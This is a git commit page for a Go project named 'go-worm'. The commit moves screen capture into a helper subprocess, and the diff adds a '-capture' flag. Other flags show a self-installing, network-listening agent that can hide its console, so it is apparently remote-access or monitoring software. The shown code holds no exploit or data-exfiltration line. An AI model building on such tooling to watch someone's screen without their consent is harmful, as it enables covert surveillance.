refactor(capture): screen capture in subprocess

- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe
This commit is contained in:
2026-09-01 23:25:38 +03:00
parent cc2b1d049b
commit a3c78820ed
14 changed files with 432 additions and 12 deletions
+7
View File
@@ -12,10 +12,12 @@ import (
"errors"
"flag"
"fmt"
"os"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
@@ -39,8 +41,13 @@ func main() {
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)")
flag.Parse()
if *captureMode {
os.Exit(capture.RunHelper())
}
if *foreground {
instance.AllowConsoleKill()
instance.ShowConsole()